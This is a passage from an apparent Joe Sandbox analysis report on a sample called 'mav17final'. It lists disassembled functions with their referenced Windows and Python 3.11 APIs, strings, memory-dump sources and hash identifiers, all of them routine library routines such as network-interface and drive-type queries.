Instruction ID: 4821e185b3dd3826f60fdfef9bba1ea5e39efeabbad09bb5fc019dc9335a2473
Opcode Fuzzy Hash: 6b546dbecff8f1a26dce1183042867b9cf570910ff2c42ef26f65990958e394d
Instruction Fuzzy Hash: C3F0A920F0DA8382FF594F6EA8842391A51AF687E1F041038DF0E43795EE3CE8878700

Function 00007FF8B9F6C458 Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON311 ref: 00007FF8B9F6C461
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C476
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C48B
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6C4A0

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$Object_Track
String ID:
API String ID: 887704541-0
Opcode ID: 3d42f6f96641afa8e40a9b95133215a649903610cae807ab0b9964238f53290f
Instruction ID: fc5a6ede63d476f20d777d1a17e993c1f82cfd439f55cbf0608eafd62376fc97
Opcode Fuzzy Hash: 3d42f6f96641afa8e40a9b95133215a649903610cae807ab0b9964238f53290f
Instruction Fuzzy Hash: 7A019636E0AB92C1EE99DF79E8541382764AF4ABB6B285130CB8D42754CE2DE441C350

Function 00007FF8B9F6C8D4 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

Py_IsInitialized.PYTHON311 ref: 00007FF8B9F6C8F1
Py_Initialize.PYTHON311 ref: 00007FF8B9F6C8FB
PyGILState_Ensure.PYTHON311 ref: 00007FF8B9F6C901
PyGILState_Release.PYTHON311 ref: 00007FF8B9F6C91B

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: State_$EnsureInitializeInitializedRelease
String ID:
API String ID: 2621580956-0
Opcode ID: 228736a826a5a1ff67be1b297f58c8bae0a48c2954096bea5476443be523e544
Instruction ID: 1af53cce89f9c5c2177776f1878345d7119d1b8d1bcb7b606599d3c3d7c3dc7d
Opcode Fuzzy Hash: 228736a826a5a1ff67be1b297f58c8bae0a48c2954096bea5476443be523e544
Instruction Fuzzy Hash: 8DF03021B08BC182E7405F66F8440296A60AF5AFE1F6C5034EB8943715DE3CD4918700

Function 00007FF8B9076180 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

GetIfEntry2.IPHLPAPI ref: 00007FF8B90761FC

Strings

(KKKKKKKK), xrefs: 00007FF8B9076269
GetIfEntry() or GetIfEntry2() syscalls failed., xrefs: 00007FF8B9076330

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Entry2
String ID: (KKKKKKKK)$GetIfEntry() or GetIfEntry2() syscalls failed.
API String ID: 1297607578-1738093298
Opcode ID: 14c815fd6ae0ab3f5606a145089b887e96643bb891819ee114bb01040e452990
Instruction ID: f97243bfd259a4d2ab97b7311aaa44c2c55a6cba890e7536167066b4c41e6e96
Opcode Fuzzy Hash: 14c815fd6ae0ab3f5606a145089b887e96643bb891819ee114bb01040e452990
Instruction Fuzzy Hash: 50515621A09BCA86EE548F29A84427D6BA0FF64BE5F084035DF4E47794EF3CE446C720

Function 00007FF8BA2449B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BA2469C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BA2425CE), ref: 00007FF8BA2469CE

_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF8BA244A86
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA244AE4

Strings

csm, xrefs: 00007FF8BA244B8A

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: abort$CreateFrameInfo
String ID: csm
API String ID: 2697087660-1018135373
Opcode ID: 5e4671b1cbff3658d511699c3cf653202505efa909c7ec854f7fa1af4338784c
Instruction ID: a1d5a17aa86bceafa756fb287dc46e21ced2145a381fdfbbb37f225173f6d67f
Opcode Fuzzy Hash: 5e4671b1cbff3658d511699c3cf653202505efa909c7ec854f7fa1af4338784c
Instruction Fuzzy Hash: 64512932A1878286EA20EB2AE15026E77A4FB88FD0F100575DF8D07B55DF3CE464DB00

Function 00007FF8BA249F44 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24A042

Strings

void, xrefs: 00007FF8BA249FA4
void , xrefs: 00007FF8BA249FCC

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+
String ID: void$void
API String ID: 2943138195-3746155364
Opcode ID: 7dcf970a61f58172c3a4f39e178d28c376ed2dbead67cac1058dce2bd18ce07b
Instruction ID: 10861b534a5df2eb0c98dfcdfda240223cd47e61f47d8a17b905e1ad0b8d99cd
Opcode Fuzzy Hash: 7dcf970a61f58172c3a4f39e178d28c376ed2dbead67cac1058dce2bd18ce07b
Instruction Fuzzy Hash: 9C313A62E18B5698FB01CFA8E8811FC37B0BB48B88B444576EF4E56B59DF3CA144D750

Function 00007FF8B90760A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI ref: 00007FF8B90760C0

Strings

GetAdaptersAddresses() syscall failed., xrefs: 00007FF8B90760D2, 00007FF8B907614F

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: AdaptersAddresses
String ID: GetAdaptersAddresses() syscall failed.
API String ID: 2506852604-4058666537
Opcode ID: d101b9013dadac10b624a53d313ad985bcf945ba5d4eee5b36ee356b8a81db31
Instruction ID: 760d82d0b1c50da5fa48e73ed4e156f2c00a7351b3669c7964387a0e88b6cd87
Opcode Fuzzy Hash: d101b9013dadac10b624a53d313ad985bcf945ba5d4eee5b36ee356b8a81db31
Instruction Fuzzy Hash: AA215425B18AC283DF14DF39E84556A67A1FB987A4F845035DB4E47B14DF3DD44ACB00

Function 00007FF8B907414C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

VirtualQueryEx.KERNEL32 ref: 00007FF8B9074203
CloseHandle.KERNEL32 ref: 00007FF8B9074215
CloseHandle.KERNEL32 ref: 00007FF8B9074254

Strings

(KsOI), xrefs: 00007FF8B9074197

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$QueryVirtual
String ID: (KsOI)
API String ID: 3966390079-341566991
Opcode ID: 5d58f94e0c7063d1f9754a7f14833d87991715d269e1c21cdb0770847f64694a
Instruction ID: 4fe07bad88f4071b9f6270463be81c7432823dee815572cc2cf867bbaa6b6ac3
Opcode Fuzzy Hash: 5d58f94e0c7063d1f9754a7f14833d87991715d269e1c21cdb0770847f64694a
Instruction Fuzzy Hash: 51111C25A0DAC681EE649F6AA8543797761BF64BE5F444031CF4E47754EE3CE0178700

Function 00007FF8B9074155 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

VirtualQueryEx.KERNEL32 ref: 00007FF8B9074203
CloseHandle.KERNEL32 ref: 00007FF8B9074215
CloseHandle.KERNEL32 ref: 00007FF8B9074254

Strings

(KsOI), xrefs: 00007FF8B9074197

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$QueryVirtual
String ID: (KsOI)
API String ID: 3966390079-341566991
Opcode ID: 254bed0aad9f9968bbd4bf8c78f8dc4074290d1573cad8042a9eac18a45ae8ad
Instruction ID: ed08835a6623da63504a1ac54e78c387ff92481b821544a24581112311101c46
Opcode Fuzzy Hash: 254bed0aad9f9968bbd4bf8c78f8dc4074290d1573cad8042a9eac18a45ae8ad
Instruction Fuzzy Hash: 0A111C25A0DAC681EE649F6AA8543797761BF64BE5F444031CF4E47754EE3CE0178700

Function 00007FF8B9074143 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

VirtualQueryEx.KERNEL32 ref: 00007FF8B9074203
CloseHandle.KERNEL32 ref: 00007FF8B9074215
CloseHandle.KERNEL32 ref: 00007FF8B9074254

Strings

(KsOI), xrefs: 00007FF8B9074197

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$QueryVirtual
String ID: (KsOI)
API String ID: 3966390079-341566991
Opcode ID: 50ef92c344278f83e193f52241ba6d6c11d405ba151e8597f3e6822c0cdc6b78
Instruction ID: 9db89939bb6d08a86076ed3e0bc6f49f50bde8abcfbdf67a78668c74140053b0
Opcode Fuzzy Hash: 50ef92c344278f83e193f52241ba6d6c11d405ba151e8597f3e6822c0cdc6b78
Instruction Fuzzy Hash: A8111C25A0DAC681EE649F6AA8543797761BF64BE5F444031CF4E47754EE3CE0178700

Function 00007FF8B9074170 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

VirtualQueryEx.KERNEL32 ref: 00007FF8B9074203
CloseHandle.KERNEL32 ref: 00007FF8B9074215
CloseHandle.KERNEL32 ref: 00007FF8B9074254

Strings

(KsOI), xrefs: 00007FF8B9074197

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$QueryVirtual
String ID: (KsOI)
API String ID: 3966390079-341566991
Opcode ID: ed50a41741cc32e10fbc317f7f70ba1ff0e5041f5155fb48ba9c62befd946438
Instruction ID: d36aa5bbdaa8135be1d133227ed2789913ed9d3dc3c78a655f58445ce5818707
Opcode Fuzzy Hash: ed50a41741cc32e10fbc317f7f70ba1ff0e5041f5155fb48ba9c62befd946438
Instruction Fuzzy Hash: D3111C25A0DAC681EE649F6AA8543797761BF64BE5F444031CF4E47754EE3CE0178700

Function 00007FF8B907415E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

VirtualQueryEx.KERNEL32 ref: 00007FF8B9074203
CloseHandle.KERNEL32 ref: 00007FF8B9074215
CloseHandle.KERNEL32 ref: 00007FF8B9074254

Strings

(KsOI), xrefs: 00007FF8B9074197

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$QueryVirtual
String ID: (KsOI)
API String ID: 3966390079-341566991
Opcode ID: 1947aba3c38216af73f6a8bcf8645978b1f766e944b610f994e34f79479488d4
Instruction ID: 3e72060dec92c779884e8876f0f527671632b75980110cbba5dfadbc4e60a8c3
Opcode Fuzzy Hash: 1947aba3c38216af73f6a8bcf8645978b1f766e944b610f994e34f79479488d4
Instruction Fuzzy Hash: 80111C25A0DAC681EE649F6AA8543797761BF64BE5F444031CF4E47754EE3CE0178700

Function 00007FF8B9074167 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

VirtualQueryEx.KERNEL32 ref: 00007FF8B9074203
CloseHandle.KERNEL32 ref: 00007FF8B9074215
CloseHandle.KERNEL32 ref: 00007FF8B9074254

Strings

(KsOI), xrefs: 00007FF8B9074197

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$QueryVirtual
String ID: (KsOI)
API String ID: 3966390079-341566991
Opcode ID: 151b7a8d80dcba40fcfe21bf746d29330e345b7ce5aff5766b4f76d73daef759
Instruction ID: 6b1d89cd648a1fb9f3bb32134750bf9f869a8967364521eb0900d07ef663930f
Opcode Fuzzy Hash: 151b7a8d80dcba40fcfe21bf746d29330e345b7ce5aff5766b4f76d73daef759
Instruction Fuzzy Hash: 4C111C25A0DAC681EE649F6AA8583797761BF64BE5F444031CF4E47754EE3CE0178700

Function 00007FF8B9075E4A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF8B9075F10
SetErrorMode.KERNEL32 ref: 00007FF8B9075F27

Strings

cdrom, xrefs: 00007FF8B9075E4A
(ssssIi), xrefs: 00007FF8B9075EAA

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ErrorMode
String ID: (ssssIi)$cdrom
API String ID: 2340568224-2526730455
Opcode ID: 2168a3a5ba0ea2bd28bec2a3a1a75b4c7cd237cd1a2e042f965d30902fe270f6
Instruction ID: a8d468d1508e7f05c99c81f3ef49126e346fead1212a3e1ff1cfe9ab46665c42
Opcode Fuzzy Hash: 2168a3a5ba0ea2bd28bec2a3a1a75b4c7cd237cd1a2e042f965d30902fe270f6
Instruction Fuzzy Hash: 8F115C62A09BC685EF20DF29A8083B96BA0FBA8BE4F444431CA4D46754DF3CE54AC700

Function 00007FF8B9075E53 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF8B9075F10
SetErrorMode.KERNEL32 ref: 00007FF8B9075F27

Strings

removable, xrefs: 00007FF8B9075E53
(ssssIi), xrefs: 00007FF8B9075EAA

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ErrorMode
String ID: (ssssIi)$removable
API String ID: 2340568224-1181830169
Opcode ID: f7fa56cbcf72cb8298466a65ab87173f38330a48a8cb8a30748b62cfdd258d39
Instruction ID: 638ba2b02cec6cdf13cc4c9c09e59f4035212fbd7d7c1fbb087a1f6c3fcfedbe
Opcode Fuzzy Hash: f7fa56cbcf72cb8298466a65ab87173f38330a48a8cb8a30748b62cfdd258d39
Instruction Fuzzy Hash: 51115C62A09BC685EF20DF29A8083B96BA0FBA8BE4F444431DA4D46754DF3CE54AC700

Function 00007FF8B9075E41 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF8B9075F10
SetErrorMode.KERNEL32 ref: 00007FF8B9075F27

Strings

fixed, xrefs: 00007FF8B9075E41
(ssssIi), xrefs: 00007FF8B9075EAA

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ErrorMode
String ID: (ssssIi)$fixed
API String ID: 2340568224-582244994
Opcode ID: 1273737ecddc35d547f9797eefb13837d84265b7fc99937e5eec810aece3f242
Instruction ID: d526ed2ae739fb92972e6f220aab62371d2349d021bf1657cb6d584e884bff95
Opcode Fuzzy Hash: 1273737ecddc35d547f9797eefb13837d84265b7fc99937e5eec810aece3f242
Instruction Fuzzy Hash: 53115E62A09BC685EF20DF29A8083B96BA0FBA4BE4F448431CA4D46754DF3CE546C700

Function 00007FF8B9075E6E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF8B9075F10
SetErrorMode.KERNEL32 ref: 00007FF8B9075F27

Strings

remote, xrefs: 00007FF8B9075E6E
(ssssIi), xrefs: 00007FF8B9075EAA

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ErrorMode
String ID: (ssssIi)$remote
API String ID: 2340568224-2439754154
Opcode ID: be548896485e9aada0a4cc7ef498c54301aa554ebc19f2899d8954fd66e1924e
Instruction ID: c6441c565e5a838379629773fd1d87319f9ffe3a567537ee7a350bd6cfeca59b
Opcode Fuzzy Hash: be548896485e9aada0a4cc7ef498c54301aa554ebc19f2899d8954fd66e1924e
Instruction Fuzzy Hash: 2B115E62A09BC685EF20DF29A8083B96BA0FBA4BE4F444431CA4D46754DF3CE546C700

Function 00007FF8B9075E77 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF8B9075F10
SetErrorMode.KERNEL32 ref: 00007FF8B9075F27

Strings

(ssssIi), xrefs: 00007FF8B9075EAA
ramdisk, xrefs: 00007FF8B9075E77

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ErrorMode
String ID: (ssssIi)$ramdisk
API String ID: 2340568224-2047227641
Opcode ID: fbdad31f6192c8c6eadf597930b33b17e424c5a2c29a370213151f7863a3fc43
Instruction ID: fed5dfe1c63b957ba7889f0d53966cebad0b873c277f2b011b346c31f1d92c0f
Opcode Fuzzy Hash: fbdad31f6192c8c6eadf597930b33b17e424c5a2c29a370213151f7863a3fc43
Instruction Fuzzy Hash: 8E115C62A09BC685EF60DF29A8083B96BA0FBA8BE4F444435DA4D46754DF3CE54AC700

Function 00007FF8B9075E5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF8B9075F10
SetErrorMode.KERNEL32 ref: 00007FF8B9075F27

Strings

unknown, xrefs: 00007FF8B9075E5C
(ssssIi), xrefs: 00007FF8B9075EAA

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: ErrorMode
String ID: (ssssIi)$unknown
API String ID: 2340568224-3196183135
Opcode ID: eae622f4802fce6b8495e673403dfaa2573f4e18905d76c885cc3e1075e3457b
Instruction ID: 4703639fe6686c0b244d2c8197c976cb04339513ec216761bf94e4ebe88d2e26
Opcode Fuzzy Hash: eae622f4802fce6b8495e673403dfaa2573f4e18905d76c885cc3e1075e3457b
Instruction Fuzzy Hash: 10115E62A09BC685EF20DF29A8083B96BA0FBA4BE4F444431DA4D46754DF3CE546C700

Function 00007FF8B9075E65 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF8B9075F10
SetErrorMode.KERNEL32 ref: 00007FF8B9075F27

Strings

unmounted, xrefs: 00007FF8B9075E65
(ssssIi), xrefs: 00007FF8B9075EAA

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

